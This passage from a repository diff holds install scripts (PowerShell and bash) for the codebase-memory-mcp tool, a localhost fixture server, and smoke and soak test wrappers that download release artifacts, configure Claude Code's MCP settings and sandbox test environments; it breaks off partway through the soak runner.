# --- Build from source via WSL ---
Write-Host "Checking WSL2 (required for building from source)..." -ForegroundColor White
if (-not (Test-WSL)) {
Write-Fail "WSL2 is not available. Required for building from source (CGO needs gcc)."
Write-Host ""
Write-Host " Install WSL2:" -ForegroundColor Yellow
Write-Host " wsl --install -d Ubuntu"
Write-Host " Then restart your computer and run this script again."
Write-Host ""
Write-Host " Alternatively, download a pre-built binary (no WSL needed):" -ForegroundColor Yellow
Write-Host " .\setup-windows.ps1"
exit 1
}
Write-Ok "WSL2 is available"
$distro = Get-WSLDistro
if (-not $distro) {
Write-Fail "No WSL Linux distribution found."
Write-Host ""
Write-Host " Install Ubuntu:" -ForegroundColor Yellow
Write-Host " wsl --install -d Ubuntu"
exit 1
}
Write-Ok "WSL distro: $distro"
$wslUser = (Invoke-WSL "whoami").Trim()
Write-Ok "WSL user: $wslUser"
Write-Host ""
Write-Host "Checking prerequisites inside WSL..." -ForegroundColor White
# Check for gcc
try {
Invoke-WSL "command -v gcc" | Out-Null
Write-Ok "gcc found"
} catch {
Write-Warn "gcc not found. Installing build-essential..."
Invoke-WSL "sudo apt-get update && sudo apt-get install -y build-essential"
}
# Check for Go
try {
$goVersion = Invoke-WSL "go version"
Write-Ok "Go: $goVersion"
} catch {
Write-Fail "Go not found in WSL."
Write-Host ""
Write-Host " Install Go 1.23+ inside WSL:" -ForegroundColor Yellow
Write-Host " See https://go.dev/dl/ for Linux amd64 tarball"
exit 1
}
# Check for git
try {
Invoke-WSL "command -v git" | Out-Null
Write-Ok "git found"
} catch {
Write-Fail "git not found in WSL. Install with: sudo apt install git"
exit 1
}
# Clone or update
Write-Host ""
$sourceDir = "/home/$wslUser/.local/share/codebase-memory-mcp"
try {
Invoke-WSL "test -d $sourceDir/.git" | Out-Null
Write-Host "Updating source..." -ForegroundColor White
Invoke-WSL "git -C $sourceDir pull --ff-only"
} catch {
Write-Host "Cloning repository..." -ForegroundColor White
Invoke-WSL "mkdir -p /home/$wslUser/.local/share && git clone https://github.com/$Repo.git $sourceDir"
}
Write-Ok "Source at $sourceDir"
# Build
Write-Host ""
Write-Host "Building binary (this may take a minute)..." -ForegroundColor White
$wslBinaryPath = "/home/$wslUser/.local/bin/$BinaryName"
Invoke-WSL "mkdir -p /home/$wslUser/.local/bin && cd $sourceDir && scripts/build.sh && cp build/c/codebase-memory-mcp $wslBinaryPath"
Write-Ok "Built to $wslBinaryPath (inside WSL)"
# Verify
try {
Invoke-WSL "test -x $wslBinaryPath" | Out-Null
Write-Ok "Binary is executable"
} catch {
Write-Fail "Binary at $wslBinaryPath is not executable"
exit 1
}
# Configure — WSL binary needs wsl.exe wrapper
$mcpConfig = [ordered]@{
type = "stdio"
command = "wsl.exe"
args = @("-d", $distro, "--", $wslBinaryPath)
}
Configure-ClaudeCode $mcpConfig
Write-Host ""
Write-Ok "Done! Restart Claude Code and verify with /mcp"
Write-Host ""
Write-Host " To uninstall:" -ForegroundColor White
Write-Host " wsl.exe -- rm $wslBinaryPath"
Write-Host " wsl.exe -- rm -rf $sourceDir"
Write-Host " wsl.exe -- rm -rf ~/.cache/codebase-memory-mcp/"
} else {
# --- Download pre-built native Windows binary ---
Write-Host "Fetching latest release..." -ForegroundColor White
$releaseUrl = "https://api.github.com/repos/$Repo/releases/latest"
$release = Invoke-RestMethod -Uri $releaseUrl -Headers @{ "User-Agent" = "codebase-memory-mcp-setup" }
$tag = $release.tag_name
if (-not $tag) {
Write-Fail "Could not determine latest release."
Write-Host " Check: https://github.com/$Repo/releases"
exit 1
}
Write-Ok "Latest release: $tag"
$asset = "codebase-memory-mcp-windows-amd64.zip"
$downloadUrl = "https://github.com/$Repo/releases/download/$tag/$asset"
Write-Host "Downloading $asset..." -ForegroundColor White
# Create install directory
if (-not (Test-Path $InstallDir)) {
New-Item -ItemType Directory -Path $InstallDir -Force | Out-Null
}
$tmpZip = Join-Path $env:TEMP $asset
Invoke-WebRequest -Uri $downloadUrl -OutFile $tmpZip -UseBasicParsing
# Extract
Expand-Archive -Path $tmpZip -DestinationPath $InstallDir -Force
Remove-Item $tmpZip -Force
$binaryPath = Join-Path $InstallDir "$BinaryName.exe"
if (-not (Test-Path $binaryPath)) {
Write-Fail "Binary not found at $binaryPath after extraction"
exit 1
}
Write-Ok "Installed to $binaryPath"
# Verify binary runs
try {
$verOut = & $binaryPath --version 2>&1
Write-Ok "Version: $verOut"
} catch {
Write-Warn "Could not verify binary version (may still work)"
}
# SmartScreen note
Write-Host ""
Write-Warn "Windows SmartScreen may show a warning when the binary runs for the first time."
Write-Host " This is normal for unsigned open-source binaries." -ForegroundColor Yellow
Write-Host " Click 'More info' then 'Run anyway' to proceed." -ForegroundColor Yellow
Write-Host " Verify checksums at: https://github.com/$Repo/releases" -ForegroundColor Yellow
# Check if install dir is on PATH
$userPath = [Environment]::GetEnvironmentVariable("Path", "User")
if ($userPath -notlike "*$InstallDir*") {
Write-Host ""
Write-Warn "$InstallDir is not on your PATH."
$addPath = Read-Host " Add it to your user PATH? [y/N]"
if ($addPath -match '^[Yy]$') {
[Environment]::SetEnvironmentVariable("Path", "$userPath;$InstallDir", "User")
Write-Ok "Added to user PATH (restart your terminal to take effect)"
}
}
# Configure Claude Code
$mcpConfig = [ordered]@{
type = "stdio"
command = $binaryPath
}
Configure-ClaudeCode $mcpConfig
Write-Host ""
Write-Ok "Done! Restart Claude Code and verify with /mcp"
Write-Host ""
Write-Host " To uninstall:" -ForegroundColor White
Write-Host " Remove-Item -Recurse -Force '$InstallDir'"
Write-Host " Remove-Item -Recurse -Force `"$env:LOCALAPPDATA\codebase-memory-mcp`" # graph database"
}
+335
View File
@@ -0,0 +1,335 @@
#!/usr/bin/env bash
set -euo pipefail
# codebase-memory-mcp setup script (macOS + Linux)
# Default: download pre-built binary from GitHub Release
# --from-source: build from source (requires Go + C compiler)
REPO="DeusData/codebase-memory-mcp"
INSTALL_DIR="$HOME/.local/bin"
BINARY_NAME="codebase-memory-mcp"
SOURCE_DIR="$HOME/.local/share/codebase-memory-mcp"
CLEANUP_DIR="" # set by download_binary for EXIT trap
# --- Colors ---
if [ -t 1 ] && command -v tput &>/dev/null; then
GREEN=$(tput setaf 2)
RED=$(tput setaf 1)
YELLOW=$(tput setaf 3)
BOLD=$(tput bold)
RESET=$(tput sgr0)
else
GREEN=""
RED=""
YELLOW=""
BOLD=""
RESET=""
fi
ok() { echo "${GREEN}✓${RESET} $*"; }
fail() { echo "${RED}✗${RESET} $*"; }
warn() { echo "${YELLOW}⚠${RESET} $*"; }
info() { echo " $*"; }
die() { fail "$@"; exit 1; }
# --- Argument parsing ---
FROM_SOURCE=false
for arg in "$@"; do
case "$arg" in
--from-source) FROM_SOURCE=true ;;
--help|-h)
echo "Usage: $0 [--from-source]"
echo ""
echo " Default: Download pre-built binary from GitHub Release"
echo " --from-source: Clone and build from source (requires Go 1.23+ and a C compiler)"
exit 0
;;
*) die "Unknown argument: $arg" ;;
esac
done
# --- Platform detection ---
detect_platform() {
local os arch
os=$(uname -s)
arch=$(uname -m)
case "$os" in
Darwin) os="darwin" ;;
Linux) os="linux" ;;
*) die "Unsupported OS: $os. Use WSL2 on Windows." ;;
esac
case "$arch" in
arm64|aarch64) arch="arm64" ;;
x86_64|amd64)
# On macOS, uname -m returns x86_64 under Rosetta even on Apple Silicon.
# Check the actual hardware to pick the right binary.
if [ "$os" = "darwin" ] && sysctl -n hw.optional.arm64 2>/dev/null | grep -q '1'; then
arch="arm64"
else
arch="amd64"
fi
;;
*) die "Unsupported architecture: $arch" ;;
esac
echo "${os}-${arch}"
}
# --- Prerequisite checks ---
check_download_tool() {
if command -v curl &>/dev/null; then
echo "curl"
elif command -v wget &>/dev/null; then
echo "wget"
else
die "Neither curl nor wget found. Install one and retry."
fi
}
check_go_version() {
if ! command -v go &>/dev/null; then
die "Go not found. Install Go 1.23+ from https://go.dev/dl/"
fi
local version
version=$(go version | grep -oE 'go[0-9]+\.[0-9]+' | head -1)
local major minor
major=$(echo "$version" | grep -oE '[0-9]+' | head -1)
minor=$(echo "$version" | grep -oE '[0-9]+' | sed -n '2p')
if [ "$major" -lt 1 ] || { [ "$major" -eq 1 ] && [ "$minor" -lt 23 ]; }; then
die "Go $major.$minor found, but 1.23+ is required. Update from https://go.dev/dl/"
fi
ok "Go $major.$minor"
}
check_c_compiler() {
if command -v cc &>/dev/null || command -v gcc &>/dev/null || command -v clang &>/dev/null; then
ok "C compiler found"
return
fi
local os
os=$(uname -s)
if [ "$os" = "Darwin" ]; then
die "No C compiler found. Run: xcode-select --install"
else
die "No C compiler found. Install build-essential (Debian/Ubuntu) or gcc (Fedora/RHEL)"
fi
}
check_git() {
if ! command -v git &>/dev/null; then
die "Git not found. Install git and retry."
fi
ok "Git found"
}
# --- Download binary ---
fetch() {
local url="$1" tool="$2"
if [ "$tool" = "curl" ]; then
curl -fsSL "$url"
else
wget -qO- "$url"
fi
}
download_binary() {
local platform="$1" tool="$2"
echo ""
echo "${BOLD}Fetching latest release...${RESET}"
local tag
tag=$(fetch "https://api.github.com/repos/${REPO}/releases/latest" "$tool" | grep '"tag_name"' | head -1 | sed 's/.*"tag_name": *"//;s/".*//')
if [ -z "$tag" ]; then
die "Could not determine latest release. Check https://github.com/${REPO}/releases"
fi
ok "Latest release: $tag"
local asset="codebase-memory-mcp-${platform}.tar.gz"
local url="https://github.com/${REPO}/releases/download/${tag}/${asset}"
echo "${BOLD}Downloading ${asset}...${RESET}"
CLEANUP_DIR=$(mktemp -d)
trap 'rm -rf "$CLEANUP_DIR"' EXIT
local tmpdir="$CLEANUP_DIR"
fetch "$url" "$tool" > "${tmpdir}/${asset}"
tar -xzf "${tmpdir}/${asset}" -C "$tmpdir"
mkdir -p "$INSTALL_DIR"
mv "${tmpdir}/${BINARY_NAME}" "${INSTALL_DIR}/${BINARY_NAME}"
chmod +x "${INSTALL_DIR}/${BINARY_NAME}"
ok "Installed to ${INSTALL_DIR}/${BINARY_NAME}"
}
# --- Build from source ---
build_from_source() {
echo ""
echo "${BOLD}Checking prerequisites...${RESET}"
check_go_version
check_c_compiler
check_git
echo ""
if [ -d "$SOURCE_DIR/.git" ]; then
echo "${BOLD}Updating source...${RESET}"
git -C "$SOURCE_DIR" pull --ff-only
else
echo "${BOLD}Cloning repository...${RESET}"
mkdir -p "$(dirname "$SOURCE_DIR")"
git clone "https://github.com/${REPO}.git" "$SOURCE_DIR"
fi
ok "Source at ${SOURCE_DIR}"
echo ""
echo "${BOLD}Building binary (this may take a minute)...${RESET}"
mkdir -p "$INSTALL_DIR"
(cd "$SOURCE_DIR" && scripts/build.sh && cp build/c/codebase-memory-mcp "${INSTALL_DIR}/${BINARY_NAME}")
ok "Built and installed to ${INSTALL_DIR}/${BINARY_NAME}"
}
# --- MCP auto-configuration ---
configure_claude() {
echo ""
local binary_path="${INSTALL_DIR}/${BINARY_NAME}"
local claude_config_dir="${CLAUDE_CONFIG_DIR:-$HOME/.claude}"
local settings_file="${claude_config_dir}/settings.json"
printf "%s" "${BOLD}Configure Claude Code to use codebase-memory-mcp? [y/N] ${RESET}"
read -r answer
if [[ ! "$answer" =~ ^[Yy]$ ]]; then
echo ""
info "Add this to your .mcp.json or ${claude_config_dir}/settings.json:"
echo ""
echo ' {'
echo ' "mcpServers": {'
echo ' "codebase-memory-mcp": {'
echo ' "type": "stdio",'
echo " \"command\": \"${binary_path}\""
echo ' }'
echo ' }'
echo ' }'
return
fi
local mcp_entry
mcp_entry=$(cat <<JSONEOF
{"type":"stdio","command":"${binary_path}"}
JSONEOF
)
mkdir -p "$(dirname "$settings_file")"
if command -v jq &>/dev/null; then
# Use jq to merge
if [ -f "$settings_file" ]; then
local tmp
tmp=$(mktemp)
jq --argjson entry "$mcp_entry" '.mcpServers["codebase-memory-mcp"] = $entry' "$settings_file" > "$tmp"
mv "$tmp" "$settings_file"
else
echo "{}" | jq --argjson entry "$mcp_entry" '.mcpServers["codebase-memory-mcp"] = $entry' > "$settings_file"
fi
ok "Updated ${settings_file}"
elif command -v python3 &>/dev/null; then
python3 -c "
import json, os
path = os.path.expanduser('$settings_file')
data = {}
if os.path.exists(path):
with open(path) as f:
data = json.load(f)
data.setdefault('mcpServers', {})['codebase-memory-mcp'] = json.loads('$mcp_entry')
with open(path, 'w') as f:
json.dump(data, f, indent=2)
print()
"
ok "Updated ${settings_file}"
else
warn "Neither jq nor python3 found — cannot auto-configure."
echo ""
info "Add this to ${settings_file} manually:"
echo ""
echo ' "mcpServers": {'
echo ' "codebase-memory-mcp": {'
echo ' "type": "stdio",'
echo " \"command\": \"${binary_path}\""
echo ' }'
echo ' }'
fi
}
# --- PATH check ---
check_path() {
if [[ ":$PATH:" != *":${INSTALL_DIR}:"* ]]; then
echo ""
warn "${INSTALL_DIR} is not on your PATH."
info "Add this to your shell profile (~/.bashrc, ~/.zshrc, etc.):"
echo ""
echo " export PATH=\"${INSTALL_DIR}:\$PATH\""
fi
}
# --- Main ---
echo ""
echo "${BOLD}codebase-memory-mcp installer${RESET}"
echo ""
if [ "$FROM_SOURCE" = true ]; then
build_from_source
else
platform=$(detect_platform)
ok "Platform: ${platform}"
tool=$(check_download_tool)
ok "Download tool: ${tool}"
download_binary "$platform" "$tool"
fi
# Verify binary
if [ ! -x "${INSTALL_DIR}/${BINARY_NAME}" ]; then
die "Binary at ${INSTALL_DIR}/${BINARY_NAME} is not executable"
fi
ver_output=$("${INSTALL_DIR}/${BINARY_NAME}" --version 2>&1) || true
if [ -n "$ver_output" ]; then
ok "$ver_output"
else
ok "Binary is executable"
fi
configure_claude
check_path
# --- Git hooks ---
# If run from inside the repo, activate tracked hooks
if [ -d "scripts/hooks" ] && git rev-parse --git-dir &>/dev/null; then
git config core.hooksPath scripts/hooks
ok "Git hooks activated (scripts/hooks/)"
fi
echo ""
ok "Done! Restart Claude Code and verify with /mcp"
echo ""
info "To uninstall:"
info " rm ${INSTALL_DIR}/${BINARY_NAME}"
info " rm -rf ${SOURCE_DIR} # if built from source"
info " rm -rf ~/.cache/codebase-memory-mcp/ # graph database"
+80
View File
@@ -0,0 +1,80 @@
#!/usr/bin/env python3
"""Serve smoke-test release artifacts from a race-free ephemeral port."""
from __future__ import annotations
import argparse
import functools
import http.server
import os
import pathlib
import socketserver
import tempfile
class FixtureHTTPServer(http.server.ThreadingHTTPServer):
"""Bind without the stdlib's reverse-DNS lookup.
http.server.HTTPServer.server_bind() resolves socket.getfqdn(host). On a
host whose resolver does not answer for the bind address that call blocks
for the resolver timeout, so the process stays alive and never reaches
publish_port -- observed on macOS Intel runners as waited=30.0s,
exit_status=alive, port_file=absent, empty startup log. The FQDN only
feeds CGI-style variables this fixture never serves, so binding without
it is both sufficient and immune to resolver behaviour.
"""
def server_bind(self) -> None:
socketserver.TCPServer.server_bind(self)
host, port = self.server_address[:2]
self.server_name = host
self.server_port = port
def publish_port(port_file: pathlib.Path, port: int) -> None:
"""Atomically publish the assigned port after the listening socket exists."""
port_file.parent.mkdir(parents=True, exist_ok=True)
with tempfile.NamedTemporaryFile(
mode="w",
encoding="ascii",
dir=port_file.parent,
prefix=f".{port_file.name}.",
delete=False,
) as temporary:
temporary.write(f"{port}\n")
temporary.flush()
temporary_path = pathlib.Path(temporary.name)
try:
os.replace(temporary_path, port_file)
except BaseException:
temporary_path.unlink(missing_ok=True)
raise
def main() -> None:
parser = argparse.ArgumentParser()
parser.add_argument("--directory", required=True, type=pathlib.Path)
parser.add_argument("--port-file", required=True, type=pathlib.Path)
parser.add_argument("--bind", default="127.0.0.1")
args = parser.parse_args()
directory = args.directory.resolve(strict=True)
if not directory.is_dir():
parser.error(f"--directory is not a directory: {directory}")
handler = functools.partial(
http.server.SimpleHTTPRequestHandler,
directory=str(directory),
)
with FixtureHTTPServer((args.bind, 0), handler) as server:
publish_port(args.port_file, server.server_port)
print(
f"smoke fixture server: http://{args.bind}:{server.server_port} "
f"from {directory}",
flush=True,
)
server.serve_forever()
if __name__ == "__main__":
main()
File diff suppressed because it is too large Load Diff
+226
View File
@@ -0,0 +1,226 @@
#!/usr/bin/env bash
set -euo pipefail
# Full local smoke, including the release download/install/update phases that
# plain `scripts/smoke-test.sh <binary>` skips without an artifact fixture.
#
# Usage: scripts/smoke-local.sh <binary> [ui]
# <binary> product binary to smoke (e.g. build/c/codebase-memory-mcp)
# ui optional: mirror the -ui variant asset naming
usage() {
cat <<'EOF'
Usage: scripts/smoke-local.sh <binary> [standard|ui]
The canonical unix smoke entry: identical in local CI, PR CI, dry run and
release. Stages a complete release fixture (binary + LICENSE + install.sh +
THIRD_PARTY_NOTICES.md), serves it on a kernel-assigned port, then runs
scripts/smoke-test.sh (all phases, including the download/checksum/install/
update E2E) inside a disposable HOME/XDG/TMPDIR sandbox with every agent-config
destination override neutralized.
Arguments:
<binary> Product binary to smoke (e.g. build/c/codebase-memory-mcp).
ui Mirror the -ui asset naming AND require the embedded UI:
Phase 15's "no assets" outcome becomes a FAILURE
(SMOKE_REQUIRE_UI=1), so a standard binary cannot pass a ui run.
Environment:
CBM_SMOKE_ARTIFACT_DIR Release mode: an EXTRACTED release artifact
directory. Sidecars (LICENSE, install.sh, THIRD_PARTY_NOTICES.md)
are validated and served from THERE instead of regenerated, so
the release venue smokes exactly the bytes it publishes; an
incomplete archive fails the smoke. Unset (default): sidecars
come from this checkout (local/PR mode).
Callers: pr.yml pr-smoke (ubuntu/macos) · _smoke.yml smoke-unix +
smoke-linux-portable (with CBM_SMOKE_ARTIFACT_DIR) · compose smoke services.
Windows uses the sibling test-infrastructure/vm/vm-smoke.sh.
EOF
}
case "${1:-}" in
-h|--help) usage; exit 0 ;;
-*) echo "smoke-local: unknown option '$1'. Please consult --help." >&2; exit 2 ;;
esac
if [ $# -gt 2 ]; then
echo "smoke-local: too many arguments. Please consult --help." >&2
exit 2
fi
BINARY="${1:?smoke-local: missing <binary> argument. Please consult --help.}"
VARIANT="${2:-standard}"
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
BINARY="$(cd "$(dirname "$BINARY")" && pwd)/$(basename "$BINARY")"
if [ ! -x "$BINARY" ]; then
echo "smoke-local: binary is not executable: $BINARY" >&2
exit 2
fi
# A ui run must be handed a binary that actually carries the embedded assets;
# the suffix alone only renames the archive. SMOKE_REQUIRE_UI turns Phase 15's
# documented "no embedded assets" SKIP into a failure, so asking for ui and
# supplying a standard binary can no longer pass quietly.
case "$VARIANT" in
standard) SUFFIX="" ; REQUIRE_UI=0 ;;
ui) SUFFIX="-ui" ; REQUIRE_UI=1 ;;
*) echo "smoke-local: variant must be 'standard' or 'ui'. Please consult --help." >&2; exit 2 ;;
esac
# Unset (the local + PR default): synthesize the release sidecars from this
# checkout. Set: take them from an EXTRACTED release artifact, so the release
# venue serves the files it is about to publish rather than regenerated copies.
ARTIFACT_DIR="${CBM_SMOKE_ARTIFACT_DIR:-}"
if [ -n "$ARTIFACT_DIR" ]; then
ARTIFACT_DIR="$(cd "$ARTIFACT_DIR" && pwd)"
for required in LICENSE install.sh THIRD_PARTY_NOTICES.md; do
[ -s "$ARTIFACT_DIR/$required" ] || {
echo "smoke-local: release artifact is missing $required" >&2
exit 2
}
done
fi
case "$(uname -s)" in
Darwin) OS=darwin ;;
Linux) OS=linux ;;
*) echo "smoke-local: unsupported host OS $(uname -s)" >&2; exit 2 ;;
esac
case "$(uname -m)" in
arm64 | aarch64) ARCH=arm64 ;;
x86_64)
# Match install.sh: a Rosetta shell reports x86_64 even though the
# installer correctly selects the native Apple Silicon artifact.
if [ "$OS" = "darwin" ] &&
sysctl -n machdep.cpu.brand_string 2>/dev/null | grep -qi apple; then
ARCH=arm64
else
ARCH=amd64
fi
;;
*) echo "smoke-local: unsupported host arch $(uname -m)" >&2; exit 2 ;;
esac
WORK_DIR=$(mktemp -d "${TMPDIR:-/tmp}/cbm-smoke-server-XXXXXX")
FIXTURE_DIR="$WORK_DIR/artifacts"
SMOKE_TEMP_DIR="$WORK_DIR/temp"
SMOKE_HOME="$WORK_DIR/home"
SMOKE_XDG_CONFIG="$WORK_DIR/xdg-config"
SMOKE_APPDATA="$WORK_DIR/appdata"
SMOKE_LOCALAPPDATA="$WORK_DIR/localappdata"
PORT_FILE="$WORK_DIR/port"
SERVER_LOG="$WORK_DIR/server.log"
SERVER_PID=""
cleanup() {
if [ -n "$SERVER_PID" ]; then
kill "$SERVER_PID" 2>/dev/null || true
wait "$SERVER_PID" 2>/dev/null || true
fi
rm -rf "$WORK_DIR"
}
trap cleanup EXIT
mkdir -p "$FIXTURE_DIR" "$SMOKE_TEMP_DIR" "$SMOKE_HOME" "$SMOKE_XDG_CONFIG" \
"$SMOKE_APPDATA" "$SMOKE_LOCALAPPDATA"
cp "$BINARY" "$FIXTURE_DIR/codebase-memory-mcp"
if [ -n "$ARTIFACT_DIR" ]; then
cp "$ARTIFACT_DIR/LICENSE" "$ARTIFACT_DIR/install.sh" \
"$ARTIFACT_DIR/THIRD_PARTY_NOTICES.md" "$FIXTURE_DIR/"
else
cp "$ROOT/LICENSE" "$ROOT/install.sh" "$FIXTURE_DIR/"
"$ROOT/scripts/gen-third-party-notices.sh" "$FIXTURE_DIR/THIRD_PARTY_NOTICES.md"
fi
EXPECTED_ARTIFACT="codebase-memory-mcp${SUFFIX}-${OS}-${ARCH}.tar.gz"
tar -czf "$FIXTURE_DIR/$EXPECTED_ARTIFACT" -C "$FIXTURE_DIR" \
codebase-memory-mcp LICENSE install.sh THIRD_PARTY_NOTICES.md
if [ -n "$SUFFIX" ]; then
cp "$FIXTURE_DIR/$EXPECTED_ARTIFACT" \
"$FIXTURE_DIR/codebase-memory-mcp-${OS}-${ARCH}.tar.gz"
fi
# Linux install/update resolves the portable release asset even when this local
# smoke started from the dynamic production binary.
if [ "$OS" = "linux" ]; then
cp "$FIXTURE_DIR/$EXPECTED_ARTIFACT" \
"$FIXTURE_DIR/codebase-memory-mcp${SUFFIX}-${OS}-${ARCH}-portable.tar.gz"
if [ -n "$SUFFIX" ]; then
cp "$FIXTURE_DIR/codebase-memory-mcp${SUFFIX}-${OS}-${ARCH}-portable.tar.gz" \
"$FIXTURE_DIR/codebase-memory-mcp-${OS}-${ARCH}-portable.tar.gz"
fi
fi
(cd "$FIXTURE_DIR" && { sha256sum *.tar.gz > checksums.txt 2>/dev/null ||
shasum -a 256 *.tar.gz > checksums.txt; })
python3 "$ROOT/scripts/smoke-fixture-server.py" \
--directory "$FIXTURE_DIR" --port-file "$PORT_FILE" \
>"$SERVER_LOG" 2>&1 &
SERVER_PID=$!
PORT=""
READY=0
for _ in $(seq 1 100); do
if [ -s "$PORT_FILE" ]; then
PORT=$(tr -d '[:space:]' < "$PORT_FILE")
# Header-only readiness (see vm-smoke.sh): proves routing without a
# full body transfer per poll; the download phases own body transport.
if curl --noproxy '*' -fsSI \
"http://127.0.0.1:$PORT/$EXPECTED_ARTIFACT" >/dev/null 2>&1; then
READY=1
break
fi
fi
if ! kill -0 "$SERVER_PID" 2>/dev/null; then
break
fi
sleep 0.1
done
if [ "$READY" -ne 1 ]; then
echo "smoke-local: fixture server did not serve $EXPECTED_ARTIFACT" >&2
echo "--- fixture server log ---" >&2
cat "$SERVER_LOG" >&2
exit 1
fi
# Full smoke deliberately runs real install/update/uninstall paths. Keep every
# supported agent destination override inside this disposable root so an
# ambient developer setting cannot redirect those mutations into live config.
env \
-u CLAUDE_CONFIG_DIR \
-u CODEX_HOME \
-u KIRO_HOME \
-u HERMES_HOME \
-u QWEN_HOME \
-u CLINE_DATA_DIR \
-u OPENCLAW_HOME \
-u OPENCLAW_STATE_DIR \
-u OPENCLAW_PROFILE \
-u OPENCLAW_CONFIG_PATH \
-u OPENCLAW_WORKSPACE_DIR \
-u OPENCODE_CONFIG \
-u OPENCODE_CONFIG_DIR \
-u COPILOT_HOME \
-u CRUSH_GLOBAL_CONFIG \
-u VIBE_HOME \
-u GLAB_CONFIG_DIR \
-u KIMI_CODE_HOME \
-u CBM_CONTINUE_CONFIG_PATH \
-u CBM_TRAE_CONFIG_PATH \
-u CBM_ROO_CONFIG_PATH \
-u CBM_CODY_CONFIG_PATH \
-u CBM_TEST_WINDOWS_USER_PATH_RUN_ID \
HOME="$SMOKE_HOME" \
USERPROFILE="$SMOKE_HOME" \
XDG_CONFIG_HOME="$SMOKE_XDG_CONFIG" \
APPDATA="$SMOKE_APPDATA" \
LOCALAPPDATA="$SMOKE_LOCALAPPDATA" \
TMPDIR="$SMOKE_TEMP_DIR" \
TEMP="$SMOKE_TEMP_DIR" \
TMP="$SMOKE_TEMP_DIR" \
SHELL="/bin/sh" \
CBM_CACHE_DIR="$WORK_DIR/cache" \
SMOKE_TEMP_ROOT="$SMOKE_TEMP_DIR" \
SMOKE_DOWNLOAD_URL="http://127.0.0.1:$PORT" \
SMOKE_UPDATE_FIXTURE_DIR="$FIXTURE_DIR" \
SMOKE_ARCH="$ARCH" \
SMOKE_REQUIRE_UI="$REQUIRE_UI" \
"$ROOT/scripts/smoke-test.sh" "$BINARY"
File diff suppressed because it is too large Load Diff
+126
View File
@@ -0,0 +1,126 @@
#!/usr/bin/env bash
# soak-legs.sh — THE canonical soak leg entry. Every venue calls this file.
#
# Runs the soak SEQUENCE — the quick soak, then the read-only #581 query-leak
# detector — with the completion-summary guard applied to each leg. Before this
# file existed the sequence was hand-copied six times across _soak.yml, once in
# vm-run-tests.sh and once in docker-compose.yml; venues drifted (CI soaked
# without the query-leak guard's temp hardening, local soaked without the
# query-leak leg at all). Venue-specific text is now limited to provisioning;
# the sequence lives here and only here.
#
# Callers: .github/workflows/_soak.yml (all platforms) · win.sh soak (via
# vm-run-tests.sh --soak) · test-infrastructure/run.sh soak-linux (compose).
set -euo pipefail
usage() {
cat <<'EOF'
Usage: scripts/soak-legs.sh [--legs LIST] <binary> <duration-minutes>
The canonical soak entry: identical in local CI, PR CI, dry run and release.
Runs each requested leg through scripts/soak-test.sh and hard-fails any leg
that exits zero without printing its completion summary (a crashed or killed
soak must never read as green).
Legs (default: quick,query-leak — the release-gating sequence):
quick scripts/soak-test.sh <binary> <minutes>
Default soak: periodic reindex + query churn + crash-recovery.
Results in soak-results/.
query-leak CBM_SOAK_MODE=query-leak, --skip-crash-test, results in
soak-results-query-leak/. The #581 detector: after the initial
index it NEVER reindexes or mutates, so any RSS growth is a
query-path leak, not WAL/indexing churn.
Options:
--legs LIST Comma-separated subset, e.g. --legs quick. The ASan soak jobs
use this (a 15-min single-leg soak under ASan); local iteration
may too. Order is preserved; unknown names fail fast.
-h, --help This text.
Environment:
ASAN_OPTIONS etc. pass through to the binary unchanged.
RESULTS_DIR is owned by this script (per-leg); do not pre-set it.
Examples:
scripts/soak-legs.sh build/c/codebase-memory-mcp 10 # both legs, 10m each
scripts/soak-legs.sh --legs quick build/c/codebase-memory-mcp 15 # ASan-style
EOF
}
LEGS="quick,query-leak"
while [ $# -gt 0 ]; do
case "$1" in
--legs) LEGS="${2:?--legs needs a comma-separated list}"; shift ;;
--legs=*) LEGS="${1#--legs=}" ;;
-h | --help) usage; exit 0 ;;
--*) echo "soak-legs: unknown option '$1'. Please consult --help." >&2; exit 2 ;;
*) break ;;
esac
shift
done
BINARY="${1:?soak-legs: missing <binary>. Please consult --help.}"
DURATION="${2:?soak-legs: missing <duration-minutes>. Please consult --help.}"
case "$DURATION" in
'' | *[!0-9]*) echo "soak-legs: duration must be a positive integer (minutes). Please consult --help." >&2; exit 2 ;;
esac
[ "$DURATION" -gt 0 ] || { echo "soak-legs: duration must be positive" >&2; exit 2; }
# Windows builds produce <name>.exe; resolve it here so every venue passes the
# same plain path and carries no per-platform binary-name logic of its own.
# Resolve whenever the .exe EXISTS, not only when the plain name fails -x:
# msys resolves the suffix-less name transparently (it IS -x), but soak-test
# keys its native-Windows handling — cygpath'd CBM_CACHE_DIR, coproc stdio —
# off the literal .exe suffix. A suffix-less native binary therefore received
# a POSIX-form cache path, mis-rooting the daemon logs and silently disabling
# diagnostics (both hosted-runner Windows soak legs; reproduced on the VM's
# CLANG64 environment with a suffix-less invocation).
if [[ "$BINARY" != *.exe ]] && [ -x "${BINARY}.exe" ]; then
BINARY="${BINARY}.exe"
fi
[ -x "$BINARY" ] || { echo "soak-legs: binary '$BINARY' missing or not executable — build first" >&2; exit 2; }
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
run_leg() {
local leg="$1"
local log
# No suffix after the X run: BSD mktemp substitutes only TRAILING X's, so
# a template like ...XXXXXX.log creates a near-literal file on macOS and
# every second run collides with the first run's leftover ("File exists").
log="$(mktemp "${TMPDIR:-/tmp}/cbm-soak-leg-XXXXXX")"
echo "=== soak-legs: leg=${leg} binary=${BINARY} duration=${DURATION}m ==="
local rc=0
case "$leg" in
quick)
"$ROOT/scripts/soak-test.sh" "$BINARY" "$DURATION" 2>&1 | tee "$log"
rc="${PIPESTATUS[0]}"
;;
query-leak)
CBM_SOAK_MODE=query-leak RESULTS_DIR=soak-results-query-leak \
"$ROOT/scripts/soak-test.sh" "$BINARY" "$DURATION" --skip-crash-test 2>&1 | tee "$log"
rc="${PIPESTATUS[0]}"
;;
*)
echo "soak-legs: unknown leg '$leg' (known: quick, query-leak)" >&2
rm -f -- "$log"
return 2
;;
esac
# A soak whose log lacks the completion summary did not validly run to the
# end, whatever its exit code says — same guard class as the test runner's.
if ! grep -Fq '=== soak-test: PASSED ===' "$log"; then
echo "GUARD: soak leg '${leg}' produced no completion summary; treating as" \
"failure (soak rc=$rc)" >&2
rm -f -- "$log"
return 90
fi
rm -f -- "$log"
return "$rc"
}
IFS=',' read -r -a leg_list <<<"$LEGS"
[ "${#leg_list[@]}" -gt 0 ] || { echo "soak-legs: --legs resolved to nothing" >&2; exit 2; }
for leg in "${leg_list[@]}"; do
